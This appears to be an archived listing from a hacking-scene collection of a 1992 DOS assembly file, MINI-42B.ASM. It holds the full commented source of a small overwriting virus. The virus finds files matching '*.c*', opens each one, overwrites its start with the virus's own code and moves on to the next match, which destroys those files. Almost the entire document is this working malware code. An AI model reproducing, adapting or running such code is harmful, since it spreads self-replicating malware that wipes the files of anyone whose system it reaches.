home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MINI-42B.ASM < prev    next >
Assembly Source File  |  1992-10-06  |  1KB  |  43 lines

  1. .model tiny                         ;Sets memory model for TASM
  2. .radix 16                           ;Sets default number system to hexidecimal (base 16)
  3. .code                               ;starts code section
  4.  
  5.     org 100                     ;makes program begin at 100h, i.e. a .COM file
  6.  
  7. start:                              ;beginning label
  8.  
  9.     mov     ah,4e               ;set ah to 4e, sets function called by int 21
  10.                     ;to find first match
  11.     mov     dx,offset file_mask ;sets search to look for *.com
  12.  
  13.  search:
  14.     int     21                  ;executes find first match function
  15.     jc      quit                ;if there aren't any files, ends
  16.  
  17.  
  18.     mov     ax,3d02             ;open file read/write mode
  19.     mov     dx,9e               ;pointer to name found by findfirst
  20.     int     21
  21.  
  22.     xchg    ax,bx               ;moves file handle to bx from ax
  23.     mov     ah,40               ;sets ah to write to file function
  24.     mov     cl,[ender-start]    ;overwrites file
  25.     mov     dx,100              ;starting address for coms, write from
  26.     int     21                  ;beginning of virus
  27.  
  28.  
  29.     mov     ah,3e
  30.     int     21                  ;closes file handle
  31.  
  32.     mov     ah,4f
  33.     jmp     short search        ;jumps back set to find next
  34.  
  35.     quit:
  36.     int     20                  ;ends program
  37.  
  38. file_mask db    '*.c*',0           ;file mask to match to programs
  39.  
  40. ender:                              ;label for size calculation
  41.  
  42. end start                           ;end of code
  43.